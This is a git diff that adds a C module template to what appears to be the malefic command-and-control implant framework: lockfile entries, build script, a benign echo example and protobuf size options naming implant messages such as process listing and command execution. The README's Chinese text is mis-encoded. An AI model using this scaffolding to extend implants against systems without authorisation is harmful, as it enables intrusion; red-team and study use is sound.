"f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bb6743198531e02858aeaea5398fcc883e71851fcbcb5a2f773e2fb6cb1edf2" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139ef39800118c7683f2fd3c98c1b23c09ae076556b435f8e9064ae108aaeeec" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasip2", + "wasip3", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "indexmap" +version = "2.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017" +dependencies = [ + "equivalent", + "hashbrown 0.16.1", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "js-sys" +version = "0.3.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c942ebf8e95485ca0d52d97da7c5a2c387d0e7f0ba4c35e93bfcaee045955b3" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.182" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" + +[[package]] +name = "linux-raw-sys" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039" + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "malefic-3rd-c" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "bytes", + "cc", + "crypto-common", + "futures", + "getrandom 0.2.16", + "hashbrown 0.15.5", + "malefic-proto", + "malefic-trait", + "prost", +] + +[[package]] +name = "malefic-proto" +version = "0.1.0" +source = "git+https://github.com/chainreactors/malefic?tag=v0.1.2#54cf570fb7a6438892ca8c13e15f854e7ad503c3" +dependencies = [ + "aes", + "anyhow", + "async-trait", + "cfg-if", + "chrono", + "cron", + "ctr", + "futures-channel", + "nanorand", + "prost", + "prost-build", + "snap", + "thiserror", +] + +[[package]] +name = "malefic-trait" +version = "0.1.1" +source = "git+https://github.com/chainreactors/malefic?tag=v0.1.2#54cf570fb7a6438892ca8c13e15f854e7ad503c3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "petgraph" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8701b58ea97060d5e5b155d383a69952a60943f0e6dfe30b04c287beb0b27455" +dependencies = [ + "fixedbitset", + "hashbrown 0.15.5", + "indexmap", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ea70524a2f82d518bce41317d0fae74151505651af45faf1ffbd6fd33f0568" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "343d3bd7056eda839b03204e68deff7d1b13aba7af2b2fd16890697274262ee7" +dependencies = [ + "heck", + "itertools", + "log", + "multimap", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27c6023962132f4b30eb4c172c91ce92d933da334c59c23cddee82358ddafb0b" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "prost-types" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8991c4cbdb8bc5b11f0b074ffe286c30e523de90fee5ba8132f1399f23cb3dd7" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a96887878f22d7bad8a3b6dc5b7440e0ada9a245242924394987b21cf2210a4c" + +[[package]] +name = "rustix" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "146c9e247ccc180c1f61615433868c99f3de3ae256a30a43b49f67c2d9171f34" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "semver" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] +name = "syn" +version = "2.0.115" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e614ed320ac28113fa64972c4262d5dbc89deacdfd00c34a3e4cea073243c12" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0136791f7c95b1f6dd99f9cc786b91bb81c3800b639b3478e561ddb7be95e5f1" +dependencies = [ + "fastrand", + "getrandom 0.4.1", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "unicode-ident" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "537dd038a89878be9b64dd4bd1b260315c1bb94f4d784956b81e27a088d9a09e" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64024a30ec1e37399cf85a7ffefebdb72205ca1c972291c51512360d90bd8566" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "008b239d9c740232e71bd39e8ef6429d27097518b6b30bdf9086833bd5b6d608" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5256bae2d58f54820e6490f9839c49780dff84c65aeab9e772f15d5f0e913a55" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f01b580c9ac74c8d8f0c0e4afb04eeef2acf145458e52c03845ee9cd23e3d12" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "0.6.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e90edd2ac1aa278a5c4599b1d89cf03074b610800f866d4026dc199d7929a28" +dependencies = [ + "memchr", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/malefic-3rd-template/malefic-3rd-c/Cargo.toml b/malefic-3rd-template/malefic-3rd-c/Cargo.toml new file mode 100644 index 0000000..203d178 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-c" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_c" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-c/README.md b/malefic-3rd-template/malefic-3rd-c/README.md new file mode 100644 index 0000000..4b30064 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/README.md @@ -0,0 +1,100 @@ +# malefic-3rd-c + +C 语言模å—,使用 [nanopb](https://github.com/nanopb/nanopb) åš protobuf åºåˆ—化,`cc` crate 编译链接。 + +## å‰ç½®è¦æ±‚ + +- C 编译器(MinGW-w64 / GCCï¼Œéš Rust `x86_64-pc-windows-gnu` target 自带) + +## 目录结构 + +``` +malefic-3rd-c/ +├── Cargo.toml +├── build.rs # cc crate 编译所有 C æºç  +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + └── c/ + ├── module.h # FFI 接å£å£°æ˜Ž + ├── module.c # FFI 导出 (CModuleName, CModuleHandle) + ├── nanopb/ # nanopb æºç  (pb_encode/decode/common) + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h, module.proto) + └── example/ + └── example.c # ç¤ºä¾‹æ¨¡å— +``` + +## ç¼–å†™æ¨¡å— + +实现 `module.h` 中声明的两个回调函数: + +```c +#include "module.h" +#include "malefic/module.pb.h" +#include +#include + +static const char MODULE_NAME[] = "your_module"; + +const char* module_name(void) { + return MODULE_NAME; +} + +static int your_handle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + // 1. è§£ç  Request + malefic_Request request = malefic_Request_init_zero; + pb_istream_t istream = pb_istream_from_buffer( + (const pb_byte_t*)req_data, (size_t)req_len); + if (!pb_decode(&istream, malefic_Request_fields, &request)) + return -1; + + // 2. 构造 Response + malefic_Response response = malefic_Response_init_zero; + snprintf(response.output, sizeof(response.output), + "hello from c, input: %s", request.input); + + // 3. ç¼–ç  Response + uint8_t tmp[4096]; + pb_ostream_t ostream = pb_ostream_from_buffer(tmp, sizeof(tmp)); + if (!pb_encode(&ostream, malefic_Response_fields, &response)) + return -1; + + // 4. malloc 输出 buffer(Rust ä¾§ free) + *resp_data = malloc(ostream.bytes_written); + memcpy(*resp_data, tmp, ostream.bytes_written); + *resp_len = (int)ostream.bytes_written; + return 0; +} + +module_handler_fn module_handler(void) { + return your_handle; +} +``` + +ç„¶åŽåœ¨ `build.rs` 中添加你的 `.c` 文件: + +```rust +cc::Build::new() + // ...existing files... + .file(c_src_dir.join("yourmod").join("yourmod.c")) + .compile("malefic_c"); +``` + +## æ›´æ–° protobuf + +å¦‚æžœéœ€è¦æ›´æ–° proto 定义: + +1. 编辑 `src/c/malefic/module.proto` +2. 用 nanopb generator 釿–°ç”Ÿæˆï¼š + ```bash + nanopb_generator module.proto + ``` +3. æ›´æ–° `module.options` 中的字段大å°é™åˆ¶ + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,c_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-c/build.rs b/malefic-3rd-template/malefic-3rd-c/build.rs new file mode 100644 index 0000000..fb82dd3 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/build.rs @@ -0,0 +1,28 @@ +use std::env; +use std::path::PathBuf; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let c_src_dir = manifest_dir.join("src").join("c"); + + cc::Build::new() + // nanopb core + .file(c_src_dir.join("nanopb").join("pb_encode.c")) + .file(c_src_dir.join("nanopb").join("pb_decode.c")) + .file(c_src_dir.join("nanopb").join("pb_common.c")) + // nanopb generated + .file(c_src_dir.join("malefic").join("module.pb.c")) + // module framework + example + .file(c_src_dir.join("module.c")) + .file(c_src_dir.join("example").join("example.c")) + // include paths + .include(c_src_dir.join("nanopb")) + .include(c_src_dir.join("malefic")) + .include(&c_src_dir) + // Large messages (PsResponse, LsResponse, etc.) exceed 64kB + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_c"); + + println!("cargo:rerun-if-changed={}", c_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c b/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c new file mode 100644 index 0000000..6ff6da8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c @@ -0,0 +1,57 @@ +#include +#include +#include "module.h" +#include "malefic/module.pb.h" +#include +#include +#include + +/* + * Example C module: echoes the request input back with a prefix. + * Demonstrates nanopb decode/encode round-trip. + */ + +static const char MODULE_NAME[] = "example_c"; + +const char* module_name(void) { + return MODULE_NAME; +} + +static int example_handle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + (void)task_id; + + /* Decode Request */ + malefic_Request request = malefic_Request_init_zero; + pb_istream_t istream = pb_istream_from_buffer((const pb_byte_t*)req_data, (size_t)req_len); + if (!pb_decode(&istream, malefic_Request_fields, &request)) { + return -1; + } + + /* Build Response */ + malefic_Response response = malefic_Response_init_zero; + snprintf(response.output, sizeof(response.output), + "hello from c module, input: %s", request.input); + + /* Encode Response */ + uint8_t tmp_buf[4096]; + pb_ostream_t ostream = pb_ostream_from_buffer(tmp_buf, sizeof(tmp_buf)); + if (!pb_encode(&ostream, malefic_Response_fields, &response)) { + return -1; + } + + size_t encoded_len = ostream.bytes_written; + *resp_data = (char*)malloc(encoded_len); + if (!*resp_data) { + return -1; + } + memcpy(*resp_data, tmp_buf, encoded_len); + *resp_len = (int)encoded_len; + + return 0; +} + +module_handler_fn module_handler(void) { + return example_handle; +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 